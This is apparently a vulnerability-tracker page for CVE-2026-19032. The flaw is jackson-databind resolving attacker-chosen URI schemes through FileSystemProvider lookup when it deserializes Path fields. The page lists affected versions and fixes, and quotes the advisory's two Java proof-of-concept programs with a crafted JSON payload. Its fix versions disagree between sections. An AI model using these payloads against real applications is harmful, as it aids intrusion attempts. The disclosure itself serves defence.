CVE-2026-19032 · GHSA-wjgm-6hv5-3cvf
jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution
- Risk score
- 51/100
- CVSS
- 5.3 v3.1
- Exploit chance (30 days)
- 0.5%
- Published
- 28 Sep 2026
Open in the live forecast Today's forecast
What to know
- What it is
- A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first schem…
- Affected
- tools.jackson.core:jackson-databind (maven) >= 3.0.0, < 3.1.6; tools.jackson.core:jackson-databind (maven) >= 3.2.0, < 3.2.2; com.fasterxml.jackson.core:jackson-databind (maven) >= 2.8.0, < 2.18.10; com.fasterxml.jackson.core:jackson-databind (maven) >= 2.19.0, < 2.21.6
- Fix
- Upgrade tools.jackson.core:jackson-databind to 3.1.6 or 3.2.2; com.fasterxml.jackson.core:jackson-databind to 2.18.10 or 2.21.6 or 2.22.2 (whichever matches your release line) or later.
- Exploitation
- Public proof of concept
Story map
At a glance
tools.jackson.core:jackson-databind: Amber, patch this week. jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric co…
The flaws
- CVE-2026-19032: Jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution (CVSS 5.3 · EPSS 1%)
- CVE-2026-68497: Jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS (CVSS 7.5 · EPSS 1%)
- CVE-2026-83557: Jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist) (CVSS 5.6 · EPSS 1%)
- CVE-2026-59889: Jackson-databind: @JsonView bypassed for @JsonUnwrapped container properties on deserialization (CVSS 6.5)
The fix
Upgrade tools.jackson.core:jackson-databind: 2.18.9 · 2.21.5 · 2.22.1 · 3.1.5 · 3.2.1 or later on your release line
Who is exposed: tools.jackson.core:jackson-databind (maven) >= 3.2.0, < 3.2.2; tools.jackson.core:jackson-databind (maven) >= 3.0.0, < 3.1.6; com.fasterxml.jackson.core:jackson-databind (maven) >= 2.14.0, < 2.18.10; com.fasterxml.jackson.core:jackson-databind (maven) >= 2.19.0, < 2.21.6
Where it stands
- Public proof of concept
Connects to
- Same weakness: CWE-470 (CWE-470). 26 other warnings in 30 days
Why it is Yellow
- CVSS 5.3 medium
- Public exploit or proof of concept referenced
- On your watchlist: Maven
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| tools.jackson.core:jackson-databind | maven | >= 3.0.0, < 3.1.6 | 3.1.6 |
| tools.jackson.core:jackson-databind | maven | >= 3.2.0, < 3.2.2 | 3.2.2 |
| com.fasterxml.jackson.core:jackson-databind | maven | >= 2.8.0, < 2.18.10 | 2.18.10 |
| com.fasterxml.jackson.core:jackson-databind | maven | >= 2.19.0, < 2.21.6 | 2.21.6 |
| com.fasterxml.jackson.core:jackson-databind | maven | >= 2.22.0, < 2.22.2 | 2.22.2 |
References
- https://github.com/advisories/GHSA-wjgm-6hv5-3cvf
- https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf
- https://nvd.nist.gov/vuln/detail/CVE-2026-19032
- https://github.com/FasterXML/jackson-databind/pull/6129
- https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551
- https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166
- https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d
- https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10
- https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6
- https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2
Original description
### Summary A `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader<FileSystemProvider>` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`. Impact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern. ### Description `NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`): ```java int colonIx = value.indexOf(':'); if (colonIx < 0) { return Path.of(value); } ... final URI uri = new URI(value); // attacker-controlled URI string try { return Path.of(uri); // resolves scheme -> may load a FileSystemProvider } catch (FileSystemNotFoundException cause) { final String scheme = uri.getScheme(); for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) { if (provider.getScheme().equalsIgnoreCase(scheme)) { return provider.getPath(uri); // attacker scheme selects & drives a provider } } // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default) } ``` The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java` - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`). ## Proof of Concept Two PoCs are provided. > PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction. **PoC 1 — sink reached (built-in `jar` provider).** `com/poc/Vuln04_PathProvider.java`: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import java.nio.file.Path; /** * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via * Path.of(uri) / ServiceLoader<FileSystemProvider>. */ public class Vuln04_PathProvider { public static class Config { public Path workdir; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI. String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}"; System.out.println("Deserializing (default mapper): " + json); try { Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")"); System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue"); } catch (Throwable t) { System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage()); System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)"); } } } ``` **PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).** A third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. `com/poc/EvilFileSystemProvider.java`: ```java package com.poc; import java.nio.file.*; import java.nio.file.spi.FileSystemProvider; import java.nio.file.attribute.*; import java.net.URI; import java.io.IOException; import java.util.*; import java.util.Set; import java.nio.channels.SeekableByteChannel; /** * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real * application's classpath. Its static initializer and getPath() record that they executed, * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri) * inside jackson's readValue. */ public class EvilFileSystemProvider extends FileSystemProvider { public static volatile boolean STATIC_INIT_RAN = false; public static volatile String GET_PATH_URI = null; static { STATIC_INIT_RAN = true; } @Override public String getScheme() { return "evilscheme"; } @Override public Path getPath(URI uri) { GET_PATH_URI = uri.toString(); System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri); // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc. return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker"); } // --- re
Last activity 28 Sep 2026. Patch Forecast updates every hour.